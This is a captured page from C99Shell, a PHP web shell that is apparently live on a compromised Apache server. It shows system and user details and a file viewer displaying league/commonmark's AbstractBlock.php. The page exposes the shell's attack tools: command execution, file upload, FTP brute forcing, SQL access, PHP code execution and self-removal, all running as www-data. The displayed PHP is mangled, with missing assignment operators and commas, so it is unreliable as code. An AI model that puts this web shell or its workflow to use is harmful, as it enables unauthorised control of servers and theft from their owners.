!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/league/commonmark/src/Block/Element/   drwxrwxrwx
Free 13 GB of 57.97 GB (22.43%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AbstractBlock.php (4.41 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the league/commonmark package.
 *
 * (c) Colin O'Dell <colinodell@gmail.com>
 *
 * Original code based on the CommonMark JS reference parser (https://bitly.com/commonmark-js)
 *  - (c) John MacFarlane
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace League\CommonMark\Block\Element;

use 
League\CommonMark\ContextInterface;
use 
League\CommonMark\Cursor;
use 
League\CommonMark\Node\Node;

/**
 * Block-level element
 *
 * @method parent() ?AbstractBlock
 */
abstract class AbstractBlock extends Node
{
    
/**
     * Used for storage of arbitrary data.
     *
     * @var array<string, mixed>
     */
    
public $data = [];

    
/**
     * @var bool
     */
    
protected $open true;

    
/**
     * @var bool
     */
    
protected $lastLineBlank false;

    
/**
     * @var int
     */
    
protected $startLine 0;

    
/**
     * @var int
     */
    
protected $endLine 0;

    protected function 
setParent(Node $node null)
    {
        if (
$node && !$node instanceof self) {
            throw new 
\InvalidArgumentException('Parent of block must also be block (can not be inline)');
        }

        
parent::setParent($node);
    }

    public function 
isContainer(): bool
    
{
        return 
true;
    }

    
/**
     * @return bool
     */
    
public function hasChildren(): bool
    
{
        return 
$this->firstChild !== null;
    }

    
/**
     * Returns true if this block can contain the given block as a child node
     *
     * @param AbstractBlock $block
     *
     * @return bool
     */
    
abstract public function canContain(AbstractBlock $block): bool;

    
/**
     * Whether this is a code block
     *
     * Code blocks are extra-greedy - they'll try to consume all subsequent
     * lines of content without calling matchesNextLine() each time.
     *
     * @return bool
     */
    
abstract public function isCode(): bool;

    
/**
     * @param Cursor $cursor
     *
     * @return bool
     */
    
abstract public function matchesNextLine(Cursor $cursor): bool;

    
/**
     * @param int $startLine
     *
     * @return $this
     */
    
public function setStartLine(int $startLine)
    {
        
$this->startLine $startLine;
        if (empty(
$this->endLine)) {
            
$this->endLine $startLine;
        }

        return 
$this;
    }

    
/**
     * @return int
     */
    
public function getStartLine(): int
    
{
        return 
$this->startLine;
    }

    
/**
     * @param int $endLine
     *
     * @return $this
     */
    
public function setEndLine(int $endLine)
    {
        
$this->endLine $endLine;

        return 
$this;
    }

    
/**
     * @return int
     */
    
public function getEndLine(): int
    
{
        return 
$this->endLine;
    }

    
/**
     * Whether the block ends with a blank line
     *
     * @return bool
     */
    
public function endsWithBlankLine(): bool
    
{
        return 
$this->lastLineBlank;
    }

    
/**
     * @param bool $blank
     *
     * @return void
     */
    
public function setLastLineBlank(bool $blank)
    {
        
$this->lastLineBlank $blank;
    }

    
/**
     * Determines whether the last line should be marked as blank
     *
     * @param Cursor $cursor
     * @param int    $currentLineNumber
     *
     * @return bool
     */
    
public function shouldLastLineBeBlank(Cursor $cursorint $currentLineNumber): bool
    
{
        return 
$cursor->isBlank();
    }

    
/**
     * Whether the block is open for modifications
     *
     * @return bool
     */
    
public function isOpen(): bool
    
{
        return 
$this->open;
    }

    
/**
     * Finalize the block; mark it closed for modification
     *
     * @param ContextInterface $context
     * @param int              $endLineNumber
     *
     * @return void
     */
    
public function finalize(ContextInterface $contextint $endLineNumber)
    {
        if (!
$this->open) {
            return;
        }

        
$this->open false;
        
$this->endLine $endLineNumber;

        
// This should almost always be true
        
if ($context->getTip() !== null) {
            
$context->setTip($context->getTip()->parent());
        }
    }

    
/**
     * @param string $key
     * @param mixed  $default
     *
     * @return mixed
     */
    
public function getData(string $key$default null)
    {
        return 
\array_key_exists($key$this->data) ? $this->data[$key] : $default;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--